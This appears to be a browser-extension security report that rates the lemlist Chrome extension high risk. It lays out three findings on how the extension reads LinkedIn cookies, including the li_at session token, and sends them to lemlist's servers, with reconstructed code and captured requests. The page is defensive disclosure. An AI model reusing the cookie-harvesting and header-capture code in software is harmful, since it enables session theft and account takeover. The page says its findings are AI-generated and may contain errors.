Is lemlist safe?

High risk

lemlist is high risk. lemlist actions on LinkedIn (profile push, bulk import) pull LinkedIn cookies via the background script, forwarding them with the page URL into the lemlist iframe. The dynamic run didn't reach login, but shipped code contains this path.…

lemlistv5.0.17Chrome Web Store
79Risk
Who publishes it

lempire - 1 other listing from the same operator, 1 of them carrying a finding

What this publisher told the store about itself, and the other listings that told it the same thing.

Publisher
lemlist
Declared legal entity
lempire
Registered address
8 Rue de Cléry, Paris 75002, FR
Registered contact
lempire

Same store account

1 other listing published from this account, 30k+ users between them. 1 of them carries a finding.

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

LinkedIn Cookies Relayed To Lemlist After User Actions

lemlist actions on LinkedIn (profile push, bulk import) pull LinkedIn cookies via the background script, forwarding them with the page URL into the lemlist iframe.

The dynamic run didn't reach login, but shipped code contains this path.

Severity
High unwanted
Type
Unexpected
CWE
CWE-522
Source
Dynamic sandbox
What actually happens
You did this

You start a lemlist action while viewing LinkedIn.

The relevant code paths are tied to profile push and bulk-import flows rather than every page view.

The extension did this

The extension reads your LinkedIn cookies and forwards them with the active LinkedIn page URL to the lemlist iframe.

The behavioral run did not reach this login-gated interaction, but the shipped code contains the full message path.

Fields the code places into the lemlist message flow
  • LinkedIn cookies
    li_at=AQEDAT5dEo8H3h0AAAGQd3e8ZpY; JSESSIONID=ajax:4938217051927468123

    This can identify your LinkedIn browser session and may let another component make LinkedIn requests as that session.

  • Current LinkedIn page
    https://www.linkedin.com/in/jordan-example/

    This reveals which LinkedIn profile, search, or lead-import page was active when you used the lemlist action.

  • Action context
    page=extensionBulkImport; importMode=searchLeads; openPushPanel=true

    This tells the lemlist frame which workflow you opened, such as a push panel or bulk import.

Captured request
GEThttps://app.lemlist.com/extension-next/

The extension iframe loads the lemlist extension page; no HTTP request body was captured during testing.

The code that does this

Shipped code path from cookie read to iframe postMessage

Readable version

Background GET_COOKIE handler reads LinkedIn cookies

assets/background-IRyjmJTA.js:368-396
const Oe = () => {  const e = [s.handle({    command: i.GET_COOKIE,    handler: async (t, {      sender: n    }) => new Promise((r, o) => {      chrome.cookies.getAll({        url: "https://www.linkedin.com/"      }, a => {        if (chrome.runtime.lastError) {          o(new Error(`Failed to get cookies: ${chrome.runtime.lastError.message}`));          return        }        if (!a) {          o(new Error("Failed to get cookies: cookieObjects is undefined"));          return        }        let d = "";        a.find(m => m.name === "li_at") && (d = a.map(m => `${m.name}=${m.value}`).join("; ")), r({          cookie: d,          url: n?.tab?.url || ""        })      })    })  })];  return () => {    e.forEach(t => t())  }}

Profile push flow requests cookies and emits them to lemlist

assets/content-BBE1mZnc.js:3234-3286
const ma = async () => {  if (!gt()) return;  await g.emit("lemapp", y.CHANGE_EXTENSION_PAGE, {    page: "extensionPushProfileToCampaign",    dark: Ue(),    forceOpen: !0,    from: "linkedin-profile",    openPushPanel: !0  });  const e = T({      page: Me,      key: "memberId"    })?.dataset?.memberId,    t = window.location.href.replace(/\/+$/, "");  if (await g.emit("lemapp", y.GET_LEADS_INFO, {      displayedLeads: [{        variables: {          linkedinUrl: t,          memberId: e        }      }],      source: Me    }), t) {    const {      cookie: n    } = await g.send("background", y.GET_COOKIE, void 0, {      retry: {        shouldRetryOnResult: o => !o      }    });    await N({      page: Me,      key: "userName",      mode: "single",      timeout: 1e4    });    const r = await mn({      page: Me    });    if (r && Object.keys(r).length > 0) {      const {        profileUrl: o,        ...a      } = r;      await g.emit("lemapp", y.EXTRACT_PROFILE_FROM_LINKEDIN_URL, {        url: t,        cookie: n,        ...a,        destination: "campaign"      })    }  }}

Bulk import flow includes cookie and importPageUrl

assets/content-BBE1mZnc.js:4122-4140
const Pu = async e => {  const {    cookie: t  } = await g.send("background", y.GET_COOKIE, void 0, {    retry: {      shouldRetryOnResult: r => !r    }  }), n = Ri();  g.emit("lemapp", y.CHANGE_EXTENSION_PAGE, {    page: "extensionBulkImport",    importMode: "searchLeads",    ...e?.count,    forceOpen: !0,    importPageUrl: window.location.href,    cookie: t,    openPushPanel: !0,    dark: Ue(),    previewImportedLeads: n  })}

Message bus posts content-script payloads to the lemlist iframe

assets/websites-bVc8_Czq.js:383-442
sendMessage(e) {  const {    source: t,    target: s  } = e, r = {    ...e,    params: e.payload  };  if (t === "content-script" && s === "background") {    chrome?.runtime?.sendMessage?.(r).catch(o => {      this.debug && d.warn(`[MessageBus] Failed to send to background: ${e.command}`, o)    });    return  }  if (t === "content-script" && s === "lemapp") {    (document.querySelector(".lm-iframe")?.contentWindow || window).postMessage(r, "*");    return  }  if (t === "background" && s === "content-script") {    if (e.tabId && chrome?.tabs?.sendMessage) {      chrome.tabs.sendMessage(e.tabId, r).catch(o => {        this.debug && d.warn(`[MessageBus] Failed to send to tab ${e.tabId}: ${e.command}`, o)      });      return    }    chrome?.tabs?.query && chrome.tabs.query({      active: !0,      currentWindow: !0    }, o => {      for (const n of o) n.id && chrome.tabs && chrome.tabs.sendMessage(n.id, r).catch(u => {        this.debug && d.warn(`[MessageBus] Failed to send to tab ${n.id}: ${e.command}`, u)      })    });    return  }  if (t === "background" && s === "popup") {    chrome?.runtime?.sendMessage?.(r).catch(o => {      this.debug && d.warn(`[MessageBus] Failed to send to popup: ${e.command}`, o)    });    return  }  if (t === "lemapp" && s === "content-script") {    (window.parent?.parent || window.parent || window).postMessage({      ...r,      lemlist: 1    }, "*");    return  }  if (t === "oldlemapp" && s === "content-script") {    (window.parent?.parent || window.parent || window).postMessage(r, "*");    return  }  if (t === "popup" && s === "background") {    chrome?.runtime?.sendMessage?.(r).catch(o => {      this.debug && d.warn(`[MessageBus] Failed to send from popup to background: ${e.command}`, o)    });    return  }  d.warn(`[MessageBus] Unsupported route: ${t} -> ${s}`)}
External hosts involved in the relay
    • app.lemlist.com

    Hosts the lemlist extension iframe that receives content-script messages from the LinkedIn page.

    • auth.lempire.com

    Supplies the lemlist login token used by the iframe bootstrap code when the user is signed in.

Server-controlled config captures LinkedIn headers plus li_at

v5.0.10 adds webRequest and listens on every *://*.linkedin.com/* request.

Captured headers are set by a config from lemlist's /context API, installed unvalidated.

A test config captured a header plus our li_at cookie, sent to lemlist.

Severity
High unwanted
Type
Unexpected
CWE
CWE-522
Source
Dynamic sandbox
What actually happens
You did this

lemlist's /context API response includes a linkedinHeadersCaptureConfig entry naming a request header and a linkedin.com URL pattern to watch.

The extension did this

The extension installs the rule without validation and, on a matching request, captures the named header plus your li_at session cookie and sends both to lemlist.

What's stored on your device

Stored as returned by /context, reapplied each restart. Client id is server-assigned; the header shown is what we supplied for testing.

Location
chrome.storage.local key 'linkedinHeadersCaptureConfig'
Contents
{  "<client id, illustrative>": {    "headers": [      "cookie"    ],    "urlPattern": "*://*.linkedin.com/*"  }}
Captured request
POSThttps://app.lemlist.com/api/extension-next/linkedin/updateTrackHeaders

Observed during dynamic analysis: after supplying a capture rule naming the request's Cookie header and planting a synthetic li_at session-cookie value, browsing to a matching linkedin.com page triggered this POST carrying the captured header value and the planted marker value verbatim, confirming both leave the device.

Headers
Content-Type
application/json
Authorization
Bearer <lemlist login token>
Body
{  "client": "<client id from config>",  "headers": {    "cookie": "<captured Cookie request header value>"  },  "liAt": "<planted marker value>"}
Fields in the POST body
  • Client ID
    team_42_headers (illustrative)

    Identifies which capture rule matched; the value is assigned by lemlist's server.

  • Captured header value
    cookie: <captured LinkedIn request header value>

    The value of each request header named in the server-sent config for the matching linkedin.com request. Any header name can be requested.

  • LinkedIn session cookie (li_at)
    <planted marker value in our test session>

    Your live LinkedIn login session token, sent alongside the captured header on every report.

The code that does this

Config install (unvalidated) and the request listener that captures + reports header values

Readable version

Readable config install

assets/background-BBb0pwJn.js
const LINKEDIN_URL_PATTERN = "*://*.linkedin.com/*";let captureRules = []; // [{ client, rule: { regex, headers } }]function globToRegExp(pattern) {  const escaped = pattern.replace(/[.+?^${}()|[\]\\]/g, "\\$&").replace(/\*/g, ".*");  return new RegExp(`^${escaped}$`);}function installCaptureConfig(config) {  // config: { [clientId]: { urlPattern: string, headers: string[] } }  // No validation of clientId, urlPattern, or header names.  captureRules = Object.entries(config).flatMap(([clientId, rule]) =>    !rule?.urlPattern || !rule.headers?.length ? [] : [{      client: clientId,      rule: { regex: globToRegExp(rule.urlPattern), headers: rule.headers.map(h => h.toLowerCase()) }    }]  );}async function applyRemoteHeaderCaptureConfig(config) {  if (!config) return;  installCaptureConfig(config);  await chromeStorageSet("linkedinHeadersCaptureConfig", config); // persisted verbatim}

Readable listener + reporter

assets/background-BBb0pwJn.js
function findHeaderValue(headers, name) {  return headers?.find(h => h.name.toLowerCase() === name)?.value ?? "";}async function getLiAtCookie() {  return (await chrome.cookies.get({ url: "https://www.linkedin.com", name: "li_at" }))?.value ?? "";}async function reportChangedHeaders(clientId, changedHeaders) {  const liAt = await getLiAtCookie();  if (!liAt) return;  const prev = lastSentPerClient[clientId] ?? { headers: {}, liAt: "" };  const diff = {};  for (const [name, value] of Object.entries(changedHeaders)) {    if (value && (value !== prev.headers[name] || liAt !== prev.liAt)) diff[name] = value;  }  if (Object.keys(diff).length) {    await callApi({ route: "/linkedin/updateTrackHeaders", payload: { client: clientId, headers: diff, liAt } });    lastSentPerClient[clientId] = { headers: { ...prev.headers, ...diff }, liAt };  }}function onBeforeSendHeaders(details) {  for (const { client, rule } of captureRules) {    if (!rule.regex.test(details.url)) continue;    const captured = {};    for (const headerName of rule.headers) {      const value = findHeaderValue(details.requestHeaders, headerName);      if (value) captured[headerName] = value;    }    reportChangedHeaders(client, captured);  }}chrome.webRequest.onBeforeSendHeaders.addListener(  onBeforeSendHeaders,  { urls: ["*://*.linkedin.com/*"] },  ["requestHeaders", "extraHeaders"]);
Where captured headers and the session cookie are sent
    • app.lemlist.com

    lemlist's backend API. Receives server-selected linkedin.com header values plus your li_at session cookie via updateTrackHeaders whenever a capture rule is configured.

LinkedIn session cookie sent to lemlist's servers

lemlist's extension reads all linkedin.com cookies, incl. li_at, on install/change, joins them, POSTs to lemlist's backend.

A planted li_at value appeared in it. li_at keeps LinkedIn signed in; a copy grants access with no password/2FA.

Severity
High unwanted
Type
Unexpected
CWE
CWE-522
Source
Dynamic sandbox
What actually happens
You did this

You install the lemlist extension, or your LinkedIn session cookie (li_at) is set or changes while it's installed.

The extension did this

The extension reads every cookie set on linkedin.com, including your li_at session cookie, and sends the full cookie string to lemlist's backend.

Captured request
POSThttps://app.lemlist.com/api/extension-next/linkedin/updateCookie

Observed during dynamic analysis: after planting a synthetic li_at session-cookie value on linkedin.com, the cookie-change listener fired and this POST carried the planted marker value verbatim, confirming the cookie leaves the device.

Headers
Content-Type
application/json
Authorization
Bearer <lemlist login token>
Body
{  "cookie": "<every cookie set on linkedin.com, joined as 'name=value; name=value; ...', including li_at=<planted marker value>>",  "extensionVersion": "5.0.12"}
Fields in the POST body
  • LinkedIn cookie jar (incl. li_at)
    li_at=<planted marker value>; JSESSIONID=... (illustrative — additional linkedin.com cookies are included in the same string)

    Every cookie currently set on linkedin.com, including the li_at session cookie that keeps you signed in.

  • Extension version
    5.0.12

    The installed version of the lemlist extension, sent alongside the cookie.

The code that does this

The cookie-read-and-send function, and the two triggers that call it

Readable version

Readable cookie sync

assets/background-BBb0pwJn.js
let lastSyncedCookieString = "";async function getLinkedInCookies() {  return new Promise(resolve => {    chrome.cookies.getAll({ url: "https://www.linkedin.com/" }, cookies => {      resolve(cookies ?? []);    });  });}async function sendCookiesToLemlist(cookieString) {  await callApi({    route: "/linkedin/updateCookie",    payload: { cookie: cookieString, extensionVersion: chrome.runtime.getManifest().version }  });}async function notifyLemlistCookieRemoved(cookieString) {  await callApi({ route: "/linkedin/removeCookie", payload: { cookie: cookieString } });}async function syncLinkedInCookie({ force = false } = {}) {  try {    const cookies = await getLinkedInCookies();    if (!cookies.find(c => c.name === "li_at")) {      if (lastSyncedCookieString) {        await notifyLemlistCookieRemoved(lastSyncedCookieString);        lastSyncedCookieString = "";      }      return { success: false, noCookie: true };    }    const joined = cookies.map(c => `${c.name}=${c.value}`).join("; ");    if (joined === lastSyncedCookieString && !force) return { success: true };    await sendCookiesToLemlist(joined);    lastSyncedCookieString = joined;    return { success: true };  } catch (err) {    return { success: false, error: err instanceof Error ? err.message : "Unknown error" };  }}

Readable triggers

assets/background-BBb0pwJn.js
const LI_AT_CHANGE_CAUSES = ["explicit", "expired_overwrite"];function watchLinkedInCookieChanges() {  chrome.cookies.onChanged.addListener(({ cookie, cause }) => {    if (LI_AT_CHANGE_CAUSES.includes(cause) && cookie.name === "li_at") {      syncLinkedInCookie({ force: true });    }  });}chrome.runtime.onInstalled.addListener(async () => {  syncLinkedInCookie({ force: true });});
Where the LinkedIn cookie is sent
    • app.lemlist.com

    lemlist's own backend. Receives your full linkedin.com cookie jar, including li_at, via updateCookie whenever the extension installs or your LinkedIn session cookie changes.

Updated 30 September 2026khnbclggeggefodgimdekejhipkeobnc